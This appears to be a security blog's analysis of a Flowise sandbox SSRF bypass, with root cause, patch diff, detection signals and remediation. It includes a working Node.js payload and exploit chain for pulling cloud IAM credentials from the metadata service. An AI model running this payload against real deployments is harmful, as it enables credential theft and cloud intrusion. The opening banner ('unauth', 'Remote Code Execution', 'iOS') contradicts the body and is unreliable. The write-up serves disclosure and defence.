home intel cve-2026-41270-flowise-ssrf-bypass-nodejs-vm
CVE Analysis 2026-04-23 · 8 min read

CVE-2026-41270: Flowise SSRF Bypass via Unguarded Node.js VM Modules

Flowise's Custom Function sandbox blocks axios/node-fetch via HTTP_DENY_LIST but leaves native Node.js http, https, and net modules fully unrestricted, enabling authenticated SSRF to internal metadata services.

#ssrf-bypass#nodejs-modules#authenticated-exploit#custom-function#sandbox-escape
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41270 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41270iOS · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41270 is a Server-Side Request Forgery (SSRF) protection bypass in Flowise ≤ 3.0.x, the open-source drag-and-drop LLM flow builder. The Custom Function node allows authenticated users to execute arbitrary JavaScript inside a node-vm sandbox. Flowise applies SSRF filtering via HTTP_DENY_LIST to the axios and node-fetch wrappers it injects into the sandbox — but it exposes the raw Node.js built-in modules http, https, and net without any equivalent deny-list enforcement. An attacker with a valid session can reach cloud-provider metadata endpoints (e.g., 169.254.169.254) or any internal RFC-1918 address directly through these unguarded primitives. CVSS 7.1 (HIGH).

Root cause: The NodeVM sandbox allowlist exposes native http, https, and net modules without subjecting their outbound connections to the same HTTP_DENY_LIST SSRF guard applied to the axios/node-fetch shims.

Affected Component

The vulnerable path is packages/server/src/utils/customFunction.ts (and the surrounding execution harness in packages/components/src/handler.ts). The executeCustomFunction handler constructs a NodeVM instance, populates its require allowlist, and runs user-supplied code inside it. The SSRF guard lives only in the monkey-patched wrappers injected for axios and node-fetch.

Root Cause Analysis

The following pseudocode is reconstructed from the pre-3.1.0 source. The critical omission is at the NodeVM construction site.


// packages/server/src/utils/customFunction.ts  (pre-3.1.0)
// Reconstructed from patch diff and public source history.

async function executeCustomFunction(code: string, vars: Record) {

    // Build the deny-list predicate from HTTP_DENY_LIST env var.
    // Applied ONLY to the axios / node-fetch shims below.
    const denyList = buildDenyList(process.env.HTTP_DENY_LIST);

    const vm = new NodeVM({
        console: 'inherit',
        sandbox: { ...vars },
        require: {
            external: true,          // allows any npm module resolvable on disk
            builtin: [               // BUG: native modules exposed with NO SSRF guard
                'http',
                'https',
                'net',
                'url',
                'crypto',
                'buffer',
                'stream',
                'path'
            ],
            root: './'
        }
    });

    // SSRF shim -- only covers axios and node-fetch.
    const safeAxios   = wrapAxiosWithDenyList(axios,    denyList);
    const safeFetch   = wrapFetchWithDenyList(nodeFetch, denyList);

    // Injected into sandbox scope; node-vm require() for 'http' bypasses this entirely.
    vm.setGlobal('axios',     safeAxios);
    vm.setGlobal('fetch',     safeFetch);

    // BUG: vm.run() allows sandbox code to call require('http') directly,
    //      which returns the real Node.js http module, no deny-list applied.
    return vm.run(code, __filename);
}

When user code calls require('http') inside the VM, node-vm2 resolves it against the builtin allowlist and returns the genuine http module — the same object available to the host process. No URL inspection occurs. The deny-list predicate captured in the closure above is never consulted.


// Attacker-supplied Custom Function payload (runs inside NodeVM sandbox):

const http = require('http');   // resolved directly from builtin list — no SSRF guard

function fetchMetadata(path) {
    return new Promise((resolve, reject) => {
        const options = {
            hostname: '169.254.169.254',  // AWS/GCP/Azure IMDS
            port: 80,
            path: path,
            method: 'GET',
            headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' }
        };
        const req = http.request(options, (res) => {  // BUG: unrestricted outbound
            let data = '';
            res.on('data', (chunk) => { data += chunk; });
            res.on('end',  () => resolve(data));
        });
        req.on('error', reject);
        req.end();
    });
}

// Exfiltrate IAM credentials in one round-trip.
return fetchMetadata('/latest/meta-data/iam/security-credentials/');

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker authenticates to Flowise instance (valid credentials or open instance).

2. Create or edit a flow containing a "Custom Function" node.

3. Inject the payload above into the function body via the UI or directly via:
   POST /api/v1/node-custom-function
   Content-Type: application/json
   Authorization: Bearer 
   {
     "functionBody": "",
     "inputVariables": {}
   }

4. NodeVM constructs the sandbox; http module bound to builtin list, no deny-list hook.

5. http.request() opens a raw TCP connection to 169.254.169.254:80.
   -- HTTP_DENY_LIST predicate is NEVER evaluated for this code path --

6. IMDS responds with IAM role name; second request to
   /latest/meta-data/iam/security-credentials/ returns JSON with
   AccessKeyId, SecretAccessKey, Token (valid ~6 hours).

7. Attacker exfiltrates credentials via the function return value, which
   Flowise serializes into the API response body and returns to the caller.

8. Lateral movement: use harvested STS credentials to enumerate S3, EC2,
   Secrets Manager, or assume higher-privilege roles via sts:AssumeRole.

Memory Layout

This is a logic bypass, not a memory corruption bug; there is no heap corruption to diagram. The relevant "layout" is the module resolution graph inside the NodeVM runtime at the point of exploitation.


NodeVM SANDBOX MODULE RESOLUTION (pre-3.1.0):

  User code: require('axios')
    └─> NodeVM intercepts
    └─> returns vm.globals.axios  (SSRF-guarded shim)  ✓ PROTECTED

  User code: require('node-fetch')
    └─> NodeVM intercepts
    └─> returns vm.globals.fetch  (SSRF-guarded shim)  ✓ PROTECTED

  User code: require('http')           <── ATTACKER PATH
    └─> NodeVM checks builtin[]
    └─> 'http' in ['http','https','net','url',...] => TRUE
    └─> returns process.binding('http_parser') backed real module
    └─> http.request() opens raw TCP socket
    └─> NO deny-list predicate consulted              ✗ UNPROTECTED

  Effective deny-list coverage:
    axios         [██████████] 100%
    node-fetch    [██████████] 100%
    http (native) [          ]   0%   <── gap
    https (native)[          ]   0%   <── gap
    net (native)  [          ]   0%   <── gap

Patch Analysis

Flowise 3.1.0 closes the gap by removing the raw native network modules from the builtin allowlist entirely, and by wrapping http and https with deny-list-aware shims before injecting them into the sandbox scope — mirroring the existing treatment of axios and node-fetch.


// BEFORE (vulnerable, ≤3.0.x):
const vm = new NodeVM({
    require: {
        external: true,
        builtin: [
            'http',    // raw, unguarded
            'https',   // raw, unguarded
            'net',     // raw, unguarded
            'url', 'crypto', 'buffer', 'stream', 'path'
        ]
    }
});

// AFTER (patched, 3.1.0 — GHSA-xhmj-rg95-44hv):
const vm = new NodeVM({
    require: {
        external: true,
        builtin: [
            // 'http'  -- REMOVED from builtin; replaced by guarded shim below
            // 'https' -- REMOVED from builtin; replaced by guarded shim below
            // 'net'   -- REMOVED entirely; no legitimate use case in Custom Function
            'url', 'crypto', 'buffer', 'stream', 'path'
        ]
    }
});

// Guarded http/https shims (analogous to existing axios/fetch treatment):
const safeHttp  = wrapHttpWithDenyList(require('http'),  denyList);
const safeHttps = wrapHttpWithDenyList(require('https'), denyList);

vm.setGlobal('http',  safeHttp);
vm.setGlobal('https', safeHttps);
// net intentionally not re-exposed.

The wrapHttpWithDenyList shim overrides http.request and http.get, resolves the target hostname before the connection is initiated, and rejects any address matching a deny-list entry (private RFC-1918 ranges, link-local 169.254.0.0/16, loopback, and operator-specified patterns). DNS rebinding is mitigated by resolving inside the shim rather than relying on the OS resolver result at connection time.

Detection and Indicators

Because the exploitation path produces a legitimate outbound HTTP connection from the Flowise server process, network-level detection is the most reliable signal.


DETECTION SIGNALS:

[NETWORK]
  Outbound TCP/80 or TCP/443 from Flowise process to:
    169.254.169.254      -- AWS/GCP/Azure IMDS
    169.254.170.2        -- ECS container credentials endpoint
    100.100.100.200      -- Alibaba Cloud IMDS
    192.168.0.0/16       -- Internal RFC-1918 (unexpected from app tier)
    10.0.0.0/8           -- Internal RFC-1918

[APPLICATION LOGS]
  POST /api/v1/node-custom-function  with response body containing:
    "AccessKeyId", "SecretAccessKey", "Token"  -- credential exfil pattern
    JSON keys matching IMDS response schema

[PROCESS]
  Node.js child spawned by Flowise making network calls not to
  configured LLM provider endpoints (OpenAI, Anthropic, etc.)

[CLOUDTRAIL / AUDIT]
  Unexpected AssumeRole or ListBuckets calls from EC2 instance identity
  within minutes of Custom Function execution.

Remediation

Immediate: Upgrade to Flowise 3.1.0 or later. This is the only complete fix.

Defense-in-depth (if upgrade is blocked):

  • Set HTTP_DENY_LIST=169.254.0.0/16,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 — this partially mitigates the issue for axios/fetch paths but does not protect the native module path.
  • Deploy an egress firewall rule on the host/container blocking outbound connections to IMDS ranges (169.254.169.254/32) from the Flowise process UID.
  • On AWS, enforce IMDSv2 (token-required mode) via instance metadata options — this raises the exploitation bar but does not eliminate it, since the attacker can still issue the token prefetch step via http.request.
  • Restrict access to the Custom Function feature to the minimum required set of authenticated users; treat it as equivalent to arbitrary code execution on the host.
  • On Kubernetes, apply a NetworkPolicy denying pod egress to link-local and RFC-1918 ranges not explicitly required by the application.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →